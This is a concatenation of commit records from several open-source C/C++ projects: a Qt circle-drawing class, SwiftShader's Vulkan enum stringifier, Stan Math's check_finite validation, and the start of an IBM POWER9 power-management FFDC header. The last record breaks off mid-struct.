painter.setBrush(oldBrush);\n#endif\n}\n\nbool ZCircle::isCuttingPlane(double z, double r, double n)\n{\n double h = fabs(z - n);\n if (r > h) {\n return true;\n } else if (iround(z) == iround(n)) {\n return true;\n }\n\n return false;\n}\n\nbool ZCircle::isCuttingPlane(double n)\n{\n return isCuttingPlane(m_center.z(), m_r, n);\n}\n\ndouble ZCircle::getAdjustedRadius(double r) const\n{\n double adjustedRadius = r;\n if (!m_usingCosmeticPen) {\n adjustedRadius += getPenWidth() * 0.5;\n }\n\n return adjustedRadius;\n}\n\nvoid ZCircle::displayHelper(ZPainter *painter, int stackFocus, Display_Style style) const\n{\n UNUSED_PARAMETER(style);\n#if defined(_QT_GUI_USED_)\n double adjustedRadius = getAdjustedRadius(m_r);\n\n double dataFocus = stackFocus - painter->getOffset().z();\n bool visible = false;\n\n const QBrush &oldBrush = painter->brush();\n const QPen &oldPen = painter->pen();\n double alpha = oldPen.color().alphaF();\n\n if (stackFocus == -1) {\n visible = true;\n } else {\n if (isCuttingPlane(m_center.z(), m_r, dataFocus)) {\n double h = fabs(m_center.z() - dataFocus);\n double r = 0.0;\n if (m_r > h) {\n r = sqrt(m_r * m_r - h * h);\n adjustedRadius = getAdjustedRadius(r);\n \/\/adjustedRadius = r + getPenWidth() * 0.5;\n visible = true;\n } else { \/\/too small, show at least one plane\n \/\/adjustedRadius = getPenWidth() * 0.5;\n r = 0.1;\n adjustedRadius = getAdjustedRadius(r);\n visible = true;\n }\n if (hasVisualEffect(VE_OUT_FOCUS_DIM)) {\n alpha *= r * r \/ m_r \/ m_r;\n \/\/alpha *= alpha;\n }\n }\n }\n\n if (visible) {\n if (!hasVisualEffect(VE_NO_CIRCLE)) {\n \/\/qDebug() << painter->brush().color();\n QColor color = painter->pen().color();\n color.setAlphaF(alpha);\n painter->setPen(color);\n painter->drawEllipse(QPointF(m_center.x(), m_center.y()),\n adjustedRadius, adjustedRadius);\n }\n }\n\n if (hasVisualEffect(VE_BOUND_BOX)) {\n QRectF rect;\n rect.setLeft(m_center.x() - adjustedRadius);\n rect.setTop(m_center.y() - adjustedRadius);\n rect.setWidth(adjustedRadius + adjustedRadius);\n rect.setHeight(adjustedRadius + adjustedRadius);\n\n painter->setBrush(Qt::NoBrush);\n\n QPen pen = oldPen;\n pen.setStyle(Qt::SolidLine);\n pen.setCosmetic(m_usingCosmeticPen);\n painter->setPen(pen);\n\n#if 0 \/\/for future versions\n QPen pen = oldPen;\n QVector<qreal> pattern;\n pattern << 1 << 2;\n pen.setDashPattern(pattern);\n painter->setPen(pen);\n painter->drawRect(rect);\n\n pen.setColor(Qt::black);\n pen.setDashOffset(1.5);\n painter->setPen(pen);\n#endif\n\n \/\/QPainter::CompositionMode oldMode = painter->compositionMode();\n \/\/painter->setCompositionMode(QPainter::RasterOp_SourceXorDestination);\n painter->drawRect(rect);\n\n \/\/painter->setCompositionMode(oldMode);\n }\n\n painter->setBrush(oldBrush);\n painter->setPen(oldPen);\n#endif\n}\n\nvoid ZCircle::save(const char *filePath)\n{\n UNUSED_PARAMETER(filePath);\n}\n\nbool ZCircle::load(const char *filePath)\n{\n UNUSED_PARAMETER(filePath);\n\n return false;\n}\n\nZSTACKOBJECT_DEFINE_CLASS_NAME(ZCircle)\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2019 The SwiftShader Authors. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"VkStringify.hpp\"\n\n#include \"System\/Debug.hpp\"\n\n#include <vulkan\/vk_ext_provoking_vertex.h>\n#include <vulkan\/vk_google_filtering_precision.h>\n#define VULKAN_HPP_NO_EXCEPTIONS\n#define VULKAN_HPP_NAMESPACE vkhpp\n#include <vulkan\/vulkan.hpp>\n\n#include <iostream>\n#include <map>\n#include <sstream>\n#include <string>\n\nnamespace vk {\n\nstd::string Stringify(VkStructureType value)\n{\n#ifndef NDEBUG\n\tstd::string ret = \"\";\n\tswitch(static_cast<int>(value))\n\t{\n\t\tcase VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_PROVOKING_VERTEX_FEATURES_EXT:\n\t\t\tret = \"PhysicalDeviceProvokingVertexFeaturesEXT\";\n\t\t\tbreak;\n\t\tcase VK_STRUCTURE_TYPE_PIPELINE_RASTERIZATION_PROVOKING_VERTEX_STATE_CREATE_INFO_EXT:\n\t\t\tret = \"PipelineRasterizationProvokingVertexStateCreateInfoEXT\";\n\t\t\tbreak;\n\t\tcase VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_PROVOKING_VERTEX_PROPERTIES_EXT:\n\t\t\tret = \"PhysicalDeviceProvokingVertexPropertiesEXT\";\n\t\t\tbreak;\n\t\tcase VK_STRUCTURE_TYPE_SAMPLER_FILTERING_PRECISION_GOOGLE:\n\t\t\tret = \"SamplerFilteringPrecisionGOOGLE\";\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tret = vkhpp::to_string(static_cast<vkhpp::StructureType>(value));\n\t\t\tbreak;\n\t}\n\tstd::ostringstream stringStream;\n\tstringStream << ret << \" (\" << static_cast<int>(value) << \")\";\n\treturn stringStream.str();\n#else\n\treturn std::to_string(static_cast<int>(value));\n#endif\n}\n\n} \/\/ namespace vk\n<commit_msg>Don't auto append value of stringified enums<commit_after>\/\/ Copyright 2019 The SwiftShader Authors. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"VkStringify.hpp\"\n\n#include \"System\/Debug.hpp\"\n\n#include <vulkan\/vk_ext_provoking_vertex.h>\n#include <vulkan\/vk_google_filtering_precision.h>\n#define VULKAN_HPP_NO_EXCEPTIONS\n#define VULKAN_HPP_NAMESPACE vkhpp\n#include <vulkan\/vulkan.hpp>\n\nnamespace vk {\n\nstd::string Stringify(VkStructureType value)\n{\n#ifndef NDEBUG\n\tstd::string ret = \"\";\n\tswitch(static_cast<int>(value))\n\t{\n\t\tcase VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_PROVOKING_VERTEX_FEATURES_EXT:\n\t\t\tret = \"PhysicalDeviceProvokingVertexFeaturesEXT\";\n\t\t\tbreak;\n\t\tcase VK_STRUCTURE_TYPE_PIPELINE_RASTERIZATION_PROVOKING_VERTEX_STATE_CREATE_INFO_EXT:\n\t\t\tret = \"PipelineRasterizationProvokingVertexStateCreateInfoEXT\";\n\t\t\tbreak;\n\t\tcase VK_STRUCTURE_TYPE_PHYSICAL_DEVICE_PROVOKING_VERTEX_PROPERTIES_EXT:\n\t\t\tret = \"PhysicalDeviceProvokingVertexPropertiesEXT\";\n\t\t\tbreak;\n\t\tcase VK_STRUCTURE_TYPE_SAMPLER_FILTERING_PRECISION_GOOGLE:\n\t\t\tret = \"SamplerFilteringPrecisionGOOGLE\";\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tret = vkhpp::to_string(static_cast<vkhpp::StructureType>(value));\n\t\t\tbreak;\n\t}\n\n\treturn ret;\n#else\n\treturn std::to_string(static_cast<int>(value));\n#endif\n}\n\n} \/\/ namespace vk\n<|endoftext|>"} {"text":"<commit_before>#ifndef STAN_MATH_PRIM_ERR_CHECK_FINITE_HPP\n#define STAN_MATH_PRIM_ERR_CHECK_FINITE_HPP\n\n#include <stan\/math\/prim\/meta.hpp>\n#include <stan\/math\/prim\/err\/is_scal_finite.hpp>\n#include <stan\/math\/prim\/err\/throw_domain_error.hpp>\n#include <stan\/math\/prim\/err\/throw_domain_error_vec.hpp>\n#include <stan\/math\/prim\/fun\/Eigen.hpp>\n#include <stan\/math\/prim\/fun\/get.hpp>\n#include <stan\/math\/prim\/fun\/size.hpp>\n#include <stan\/math\/prim\/fun\/value_of.hpp>\n#include <stan\/math\/prim\/fun\/value_of_rec.hpp>\n#include <cmath>\n\nnamespace stan {\nnamespace math {\nnamespace internal {\n\/**\n * Return true if y is finite\n *\n * @tparam T_y type of y\n * @param y parameter to check\n * @return boolean\n *\/\ntemplate <typename T_y>\nbool is_finite(const T_y& y) {\n return is_scal_finite(y);\n}\n\n\/**\n * Return true if every element of the matrix y is finite\n *\n * @tparam T_y type of elements y\n * @param y matrix to check\n * @return boolean\n *\/\ntemplate <typename T_y, int R, int C>\nbool is_finite(const Eigen::Matrix<T_y, R, C>& y) {\n bool all = true;\n for (size_t n = 0; n < y.size(); ++n) {\n all &= is_finite(y(n));\n }\n return all;\n}\n\n\/**\n * Return true if every element of the vector y is finite\n *\n * @tparam T_y type of elements y\n * @param y vector to check\n * @return boolean\n *\/\ntemplate <typename T_y>\nbool is_finite(const std::vector<T_y>& y) {\n bool all = true;\n for (size_t n = 0; n < stan::math::size(y); ++n) {\n all &= is_finite(y[n]);\n }\n return all;\n}\n} \/\/ namespace internal\n\n\/**\n * Check if <code>y<\/code> is finite.\n * This function is vectorized and will check each element of\n * <code>y<\/code>.\n * @tparam T_y Type of y\n * @param function Function name (for error messages)\n * @param name Variable name (for error messages)\n * @param y Variable to check\n * @throw <code>domain_error<\/code> if y is infinity, -infinity, or NaN\n *\/\ntemplate <typename T_y, require_stan_scalar_t<T_y>* = nullptr>\ninline void check_finite(const char* function, const char* name, const T_y& y) {\n if (!internal::is_finite(y)) {\n throw_domain_error(function, name, y, \"is \", \", but must be finite!\");\n }\n}\n\n\/**\n * Return <code>true<\/code> if all values in the std::vector are finite.\n *\n * @tparam T_y type of elements in the std::vector\n *\n * @param function name of function (for error messages)\n * @param name variable name (for error messages)\n * @param y std::vector to test\n * @return <code>true<\/code> if all values are finite\n **\/\ntemplate <typename T_y, require_stan_scalar_t<T_y>* = nullptr>\ninline void check_finite(const char* function, const char* name,\n const std::vector<T_y>& y) {\n for (size_t n = 0; n < stan::math::size(y); n++) {\n if (!internal::is_finite(stan::get(y, n))) {\n throw_domain_error_vec(function, name, y, n, \"is \",\n \", but must be finite!\");\n }\n }\n}\n\n\/**\n * Return <code>true<\/code> is the specified matrix is finite.\n *\n * @tparam Derived Eigen derived type\n *\n * @param function name of function (for error messages)\n * @param name variable name (for error messages)\n * @param y matrix to test\n * @return <code>true<\/code> if the matrix is finite\n **\/\ntemplate <typename EigMat, require_eigen_t<EigMat>* = nullptr>\ninline void check_finite(const char* function, const char* name,\n const EigMat& y) {\n if (!value_of(y).allFinite()) {\n for (int n = 0; n < y.size(); ++n) {\n if (!std::isfinite(value_of_rec(y(n)))) {\n throw_domain_error_vec(function, name, y, n, \"is \",\n \", but must be finite!\");\n }\n }\n }\n}\n\n\/**\n * Return <code>true<\/code> if all values in the std::vector are finite.\n *\n * @tparam T_y type of elements in the std::vector\n *\n * @param function name of function (for error messages)\n * @param name variable name (for error messages)\n * @param y std::vector to test\n * @return <code>true<\/code> if all values are finite\n **\/\ntemplate <typename T_y, require_not_stan_scalar_t<T_y>* = nullptr>\ninline void check_finite(const char* function, const char* name,\n const std::vector<T_y>& y) {\n for (size_t n = 0; n < stan::math::size(y); n++) {\n if (!internal::is_finite(stan::get(y, n))) {\n throw_domain_error(function, name, \"\", \"\", \"is not finite!\");\n }\n }\n}\n\n} \/\/ namespace math\n} \/\/ namespace stan\n\n#endif\n<commit_msg>Updated check_finite to support `var<mat>` s (Issue #2101)<commit_after>#ifndef STAN_MATH_PRIM_ERR_CHECK_FINITE_HPP\n#define STAN_MATH_PRIM_ERR_CHECK_FINITE_HPP\n\n#include <stan\/math\/prim\/meta.hpp>\n#include <stan\/math\/prim\/err\/is_scal_finite.hpp>\n#include <stan\/math\/prim\/err\/throw_domain_error.hpp>\n#include <stan\/math\/prim\/err\/throw_domain_error_vec.hpp>\n#include <stan\/math\/prim\/fun\/Eigen.hpp>\n#include <stan\/math\/prim\/fun\/get.hpp>\n#include <stan\/math\/prim\/fun\/size.hpp>\n#include <stan\/math\/prim\/fun\/value_of.hpp>\n#include <stan\/math\/prim\/fun\/value_of_rec.hpp>\n#include <cmath>\n\nnamespace stan {\nnamespace math {\nnamespace internal {\n\/**\n * Return true if y is finite\n *\n * @tparam T_y type of y\n * @param y parameter to check\n * @return boolean\n *\/\ntemplate <typename T_y>\nbool is_finite(const T_y& y) {\n return is_scal_finite(y);\n}\n\n\/**\n * Return true if every element of the matrix y is finite\n *\n * @tparam T_y type of elements y\n * @param y matrix to check\n * @return boolean\n *\/\ntemplate <typename T_y, int R, int C>\nbool is_finite(const Eigen::Matrix<T_y, R, C>& y) {\n bool all = true;\n for (size_t n = 0; n < y.size(); ++n) {\n all &= is_finite(y(n));\n }\n return all;\n}\n\n\/**\n * Return true if every element of the vector y is finite\n *\n * @tparam T_y type of elements y\n * @param y vector to check\n * @return boolean\n *\/\ntemplate <typename T_y>\nbool is_finite(const std::vector<T_y>& y) {\n bool all = true;\n for (size_t n = 0; n < stan::math::size(y); ++n) {\n all &= is_finite(y[n]);\n }\n return all;\n}\n} \/\/ namespace internal\n\n\/**\n * Check if <code>y<\/code> is finite.\n * This function is vectorized and will check each element of\n * <code>y<\/code>.\n * @tparam T_y Type of y\n * @param function Function name (for error messages)\n * @param name Variable name (for error messages)\n * @param y Variable to check\n * @throw <code>domain_error<\/code> if y is infinity, -infinity, or NaN\n *\/\ntemplate <typename T_y, require_stan_scalar_t<T_y>* = nullptr>\ninline void check_finite(const char* function, const char* name, const T_y& y) {\n if (!internal::is_finite(y)) {\n throw_domain_error(function, name, y, \"is \", \", but must be finite!\");\n }\n}\n\n\/**\n * Return <code>true<\/code> if all values in the std::vector are finite.\n *\n * @tparam T_y type of elements in the std::vector\n *\n * @param function name of function (for error messages)\n * @param name variable name (for error messages)\n * @param y std::vector to test\n * @return <code>true<\/code> if all values are finite\n **\/\ntemplate <typename T_y, require_stan_scalar_t<T_y>* = nullptr>\ninline void check_finite(const char* function, const char* name,\n const std::vector<T_y>& y) {\n for (size_t n = 0; n < stan::math::size(y); n++) {\n if (!internal::is_finite(stan::get(y, n))) {\n throw_domain_error_vec(function, name, y, n, \"is \",\n \", but must be finite!\");\n }\n }\n}\n\n\/**\n * Return <code>true<\/code> is the specified matrix is finite.\n *\n * @tparam Derived Eigen derived type\n *\n * @param function name of function (for error messages)\n * @param name variable name (for error messages)\n * @param y matrix to test\n * @return <code>true<\/code> if the matrix is finite\n **\/\ntemplate <typename Mat, require_matrix_t<Mat>* = nullptr>\ninline void check_finite(const char* function, const char* name,\n const Mat& y) {\n if (!value_of(y).allFinite()) {\n for (int n = 0; n < y.size(); ++n) {\n if (!std::isfinite(value_of_rec(y(n)))) {\n throw_domain_error_vec(function, name, value_of(y), n, \"is \",\n \", but must be finite!\");\n }\n }\n }\n}\n\n\/**\n * Return <code>true<\/code> if all values in the std::vector are finite.\n *\n * @tparam T_y type of elements in the std::vector\n *\n * @param function name of function (for error messages)\n * @param name variable name (for error messages)\n * @param y std::vector to test\n * @return <code>true<\/code> if all values are finite\n **\/\ntemplate <typename T_y, require_not_stan_scalar_t<T_y>* = nullptr>\ninline void check_finite(const char* function, const char* name,\n const std::vector<T_y>& y) {\n for (size_t n = 0; n < stan::math::size(y); n++) {\n if (!internal::is_finite(stan::get(y, n))) {\n throw_domain_error(function, name, \"\", \"\", \"is not finite!\");\n }\n }\n}\n\n} \/\/ namespace math\n} \/\/ namespace stan\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_pm_recovery_ffdc_defines.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n#ifndef __PM_RECOVERY_FFDC_DEFINES_\n#define __PM_RECOVERY_FFDC_DEFINES_\n\n#include <p9_hcd_memmap_base.H>\n#include <endian.h>\n\n#if( __BYTE_ORDER == __BIG_ENDIAN )\n#define REV_2_BYTE(WORD) WORD\n#else\n#define REV_2_BYTE(WORD) \\\n ( (((WORD) >> 8) & 0x00FF) | (((WORD) << 8) & 0xFF00) )\n#endif\n\nnamespace p9_stop_recov_ffdc\n{\n\n\/**\n * @brief enumerates all the platforms involved with STOP Recovery.\n *\/\nenum PmComplexPlatId\n{\n PLAT_CME = 0x01,\n PLAT_SGPE = 0x02,\n PLAT_PGPE = 0x03,\n PLAT_OCC = 0x04,\n PLAT_PPM = 0x05,\n};\n\n\/**\n * @brief enumerates type of FFDC data\n *\/\nenum FfdcDataType\n{\n IMAGE_HEADER = 0x01,\n DASH_BOARD_VAR = 0x02,\n TRACES = 0x03,\n INTERNAL_REG = 0x04,\n SCOM_REG = 0x05,\n};\n\n\/**\n * @brief enumerates bit position used as validity mark of PPE FFDC sub-section.\n *\/\n\nenum PpeFfdcValidStatus\n{\n PPE_FFDC_INVALID = 0x00, \/\/entire PPE FFDC is not valid\n PPE_DASHBOARD_VALID = 0x01, \/\/ PPE globals are valid\n PPE_IMAGE_HEADER_VALID = 0x02, \/\/ PPE image header is valid\n PPE_TRACE_VALID = 0x04, \/\/ PPE Traces are valid\n PPE_STATE_VALID = 0x08, \/\/ PPE XIRS, GPES and SPRs are valid\n PPE_INT_REG_VALID = 0x10, \/\/ PPE Int Regs are valid\n PPE_HALT_STATE_VALID = 0x20, \/\/ PPE Halt State Info is valid\n PPE_FFDC_ALL_VALID = 0x3F, \/\/ Entire PPE FFDC is valid\n};\n\n\/**\n * @brief enumerates PPE's HALT conditions as inteprreted from XSR[0:3]\n *\/\nenum PpeHaltCondition\n{\n PPE_HALT_COND_NONE = 0x00, \/\/ Not halted\n PPE_HALT_COND_BAD = 0x08, \/\/ Halted, but cannot map source\n PPE_HALT_COND_XCR = 0x09, \/\/ Halted via XCR\n PPE_HALT_COND_WDT = 0x0A, \/\/ Halted via Watch Dog\n PPE_HALT_COND_NMI = 0x0B, \/\/ Halted via unmaskable intr\n PPE_HALT_COND_DBG = 0x0C, \/\/ Debug halt\n PPE_HALT_COND_DBCR = 0x0D, \/\/ Halt via Debug Control Reg\n PPE_HALT_COND_EXT_HLT = 0x0E, \/\/ Ext halt_req input active\n PPE_HALT_COND_HW = 0x0F, \/\/ Halted with a HW failure\n PPE_HALT_COND_UNKNOWN = 0xFF \/\/ Could not read or interpret XSR\n};\n\n\/**\n * @brief models header of FFDC region of HOMER associated with a CME.\n *\/\nstruct __attribute__((packed)) PpeFfdcHeader\n{\n uint32_t iv_ppeMagicNumber;\n uint8_t iv_ppeNumber;\n uint8_t iv_headerSize;\n uint16_t iv_sectionSize;\n uint8_t iv_ffdcValid;\n uint8_t iv_ppeHaltCondition;\n uint16_t iv_dashBoardOffset;\n uint16_t iv_sramHeaderOffset;\n uint16_t iv_sprOffset;\n uint16_t iv_intRegOffset;\n uint16_t iv_offsetTraces;\n uint8_t iv_reserve[4];\n};\n\n\/**\n * @brief models Quad FFDC header.\n *\/\nstruct __attribute__((packed)) QuadFfdcHeader\n{\n uint32_t iv_quadMagicWord;\n uint8_t iv_quadInstance;\n uint8_t iv_quadHeaderSize;\n uint16_t iv_sectionSize;\n uint16_t iv_offsetCppm0;\n uint16_t iv_offsetCppm1;\n uint16_t iv_offsetCppm2;\n uint16_t iv_offsetCppm3;\n uint16_t iv_offsetCme0;\n uint16_t iv_offsetCme1;\n uint16_t iv_offsetQppm;\n uint8_t iv_reserve[2];\n};\n\n\n\/**\n * @brief enumerates bit position used as validity mark of OCC FFDC sub-section.\n *\/\nenum OccFfdcValidStatus\n{\n OCC_FFDC_INVALID = 0x00, \/\/ None of the FFDC section is valid\n OCC_FFDC_TRACE_ERR_VALID = 0x01, \/\/ OCC ERR traces section valid\n OCC_FFDC_TRACE_IMP_VALID = 0x02, \/\/ OCC IMP traces section valid\n OCC_FFDC_TRACE_INF_VALID = 0x04, \/\/ OCC INF traces section valid\n OCC_FFDC_TRACE_SSX_VALID = 0x08, \/\/ OCC SSX trace section valid\n OCC_FFDC_TRACE_GPE0_VALID = 0x10, \/\/ OCC GPE0 Trace Section valid\n OCC_FFDC_TRACE_GPE1_VALID = 0x20, \/\/ OCC GPE1 Trace Section Valid\n OCC_FFDC_SHARED_REGION_VALID = 0x40, \/\/ OCC Shared Region Section valid\n OCC_FFDC_REGISTERS_VALID = 0x80, \/\/ OCC Register Section valid\n OCC_FFDC_VALID_ALL = ( OCC_FFDC_TRACE_ERR_VALID |\n OCC_FFDC_TRACE_IMP_VALID |\n OCC_FFDC_TRACE_INF_VALID |\n OCC_FFDC_TRACE_SSX_VALID |\n OCC_FFDC_TRACE_GPE0_VALID |\n OCC_FFDC_TRACE_GPE1_VALID |\n OCC_FFDC_SHARED_REGION_VALID |\n OCC_FFDC_REGISTERS_VALID )\n};\n\n\n\/**\n * * @brief models OCC Region FFDC header.\n * *\/\nstruct __attribute__((packed)) OccFfdcHeader\n{\n uint32_t iv_magicWord;\n uint8_t iv_ffdcValid;\n uint8_t iv_headerSize;\n uint16_t iv_sectionSize;\n uint16_t iv_offsetErrTrace;\n uint16_t iv_offsetImpTrace;\n uint16_t iv_offsetInfTrace;\n uint16_t iv_offsetSsxTrace;\n uint16_t iv_offsetGpe0Trace;\n uint16_t iv_offsetGpe1Trace;\n uint16_t iv_offsetSharedSram;\n uint16_t iv_offsetOccRegs;\n};\n\n\/**\n * @brief a union modelling PPE FFDC region's header area.\n *\/\nunion PpeFfdcHdrRegion\n{\n uint8_t iv_ppeFfdcHdrArea[FFDC_PPE_HDR_SIZE];\n PpeFfdcHeader iv_ppeFfdcHdr;\n};\n\n\/**\n * * @brief a union modelling OCC FFDC region's header area.\n * *\/\nunion OccFfdcHdrRegion\n{\n uint8_t iv_ppeFfdcHdrArea[FFDC_OCC_REGION_HDR_SIZE];\n OccFfdcHeader iv_occFfdcHdr;\n};\n\n\/**\n * @brief models CME's FFDC region.\n *\/\nstruct __attribute__((packed)) PpeFfdcLayout\n{\n PpeFfdcHdrRegion iv_ppeFfdcHdr;\n uint8_t iv_ppeGlobals[FFDC_PPE_SCORE_BOARD_SIZE];\n uint8_t iv_ppeImageHeader[FFDC_PPE_IMG_HDR_SIZE];\n uint8_t iv_ppeXirReg[FFDC_PPE_XIR_SIZE];\n uint8_t iv_ppeSpr[FFDC_PPE_SPR_SIZE];\n uint8_t iv_ppeGprs[FFDC_PPE_GPR_SIZE];\n uint8_t iv_ppeInternalReg[FFDC_PPE_INTERNAL_REG_SIZE];\n uint8_t iv_ppeTraces[FFDC_PPE_TRACES_SIZE];\n};\n\n\/**\n * @brief models Quad FFDC region of HOMER.\n *\/\nstruct __attribute__((packed)) HomerQuadFfdcRegion\n{\n uint8_t iv_quadFfdcHeader[FFDC_QUAD_HDR_SIZE];\n uint8_t iv_quadCppmRegion[FFDC_CPPM_REGISTERS_SIZE];\n uint8_t iv_quadCmeBlock[MAX_CMES_PER_QUAD][FFDC_PPE_BLOCK_SIZE];\n uint8_t iv_quadQppmRegion[FFDC_QPPM_REGISTERS_SIZE];\n};\n\n\/**\n * @brief models OCC FFDC region of HOMER.\n *\/\nstruct __attribute__((packed)) OccFfdcRegion\n{\n uint8_t iv_occFfdcHeader[FFDC_OCC_REGION_HDR_SIZE];\n uint8_t iv_occTraceErr[FFDC_TRACE_ERR_SIZE];\n uint8_t iv_occTraceImp[FFDC_TRACE_IMP_SIZE];\n uint8_t iv_occTraceInf[FFDC_TRACE_INF_SIZE];\n uint8_t iv_occTraceSsx[FFDC_TRACE_SSX_SIZE];\n uint8_t iv_occTraceGpe0[FFDC_TRACE_GPE0_SIZE];\n uint8_t iv_occTraceGpe1[FFDC_TRACE_GPE1_SIZE];\n uint8_t iv_occSharedSram[FFDC_SHARED_SRAM_SIZE];\n uint8_t iv_occRegs[FFDC_OCC_REGS_SIZE];\n};\n\n\/**\n * @brief models full FFDC region of HOMER.\n *\/\nstruct __attribute__((packed)) HomerFfdcRegion\n{\n uint8_t iv_homerFfdcHeader[FFDC_HOMER_TOP_HEADER];\n HomerQuadFfdcRegion iv_quadFfdc[MAX_QUADS_PER_CHIP];\n PpeFfdcLayout iv_sgpeFfdcRegion;\n PpeFfdcLayout iv_pgpeFfdcRegion;\n OccFfdcRegion iv_occFfdcRegion;\n};\n\n} \/\/namespace p9_stop_recov_ffdc ends\n#endif \/\/__PM_RECOVERY_FFDC_DEFINES_\n<commit_msg>PM Recovery FFDC: Added support to collect Register data for PPM<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/pm\/p9_pm_recovery_ffdc_defines.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n#ifndef __PM_RECOVERY_FFDC_DEFINES_\n#define __PM_RECOVERY_FFDC_DEFINES_\n\n#include <p9_hcd_memmap_base.H>\n#include <endian.h>\n\n#if( __BYTE_ORDER == __BIG_ENDIAN )\n#define REV_2_BYTE(WORD) WORD\n#else\n#define REV_2_BYTE(WORD) \\\n ( (((WORD) >> 8) & 0x00FF) | (((WORD) << 8) & 0xFF00) )\n#endif\n\nnamespace p9_stop_recov_ffdc\n{\n\n\/**\n * @brief enumerates all the platforms involved with STOP Recovery.\n *\/\nenum PmComplexPlatId\n{\n PLAT_CME = 0x01,\n PLAT_SGPE = 0x02,\n PLAT_PGPE = 0x03,\n PLAT_OCC = 0x04,\n PLAT_PPM = 0x05,\n};\n\n\/**\n * @brief enumerates type of FFDC data\n *\/\nenum FfdcDataType\n{\n IMAGE_HEADER = 0x01,\n DASH_BOARD_VAR = 0x02,\n TRACES = 0x03,\n INTERNAL_REG = 0x04,\n SCOM_REG = 0x05,\n};\n\n\/**\n * @brief enumerates bit position used as validity mark of PPE FFDC sub-section.\n *\/\n\nenum PpeFfdcValidStatus\n{\n PPE_FFDC_INVALID = 0x00, \/\/entire PPE FFDC is not valid\n PPE_DASHBOARD_VALID = 0x01, \/\/ PPE globals are valid\n PPE_IMAGE_HEADER_VALID = 0x02, \/\/ PPE image header is valid\n PPE_TRACE_VALID = 0x04, \/\/ PPE Traces are valid\n PPE_STATE_VALID = 0x08, \/\/ PPE XIRS, GPES and SPRs are valid\n PPE_INT_REG_VALID = 0x10, \/\/ PPE Int Regs are valid\n PPE_HALT_STATE_VALID = 0x20, \/\/ PPE Halt State Info is valid\n PPE_FFDC_ALL_VALID = 0x3F, \/\/ Entire PPE FFDC is valid\n};\n\n\/**\n * @brief enumerates PPE's HALT conditions as inteprreted from XSR[0:3]\n *\/\nenum PpeHaltCondition\n{\n PPE_HALT_COND_NONE = 0x00, \/\/ Not halted\n PPE_HALT_COND_BAD = 0x08, \/\/ Halted, but cannot map source\n PPE_HALT_COND_XCR = 0x09, \/\/ Halted via XCR\n PPE_HALT_COND_WDT = 0x0A, \/\/ Halted via Watch Dog\n PPE_HALT_COND_NMI = 0x0B, \/\/ Halted via unmaskable intr\n PPE_HALT_COND_DBG = 0x0C, \/\/ Debug halt\n PPE_HALT_COND_DBCR = 0x0D, \/\/ Halt via Debug Control Reg\n PPE_HALT_COND_EXT_HLT = 0x0E, \/\/ Ext halt_req input active\n PPE_HALT_COND_HW = 0x0F, \/\/ Halted with a HW failure\n PPE_HALT_COND_UNKNOWN = 0xFF \/\/ Could not read or interpret XSR\n};\n\n\/**\n * @brief models header of FFDC region of HOMER associated with a CME.\n *\/\nstruct __attribute__((packed)) PpeFfdcHeader\n{\n uint32_t iv_ppeMagicNumber;\n uint8_t iv_ppeNumber;\n uint8_t 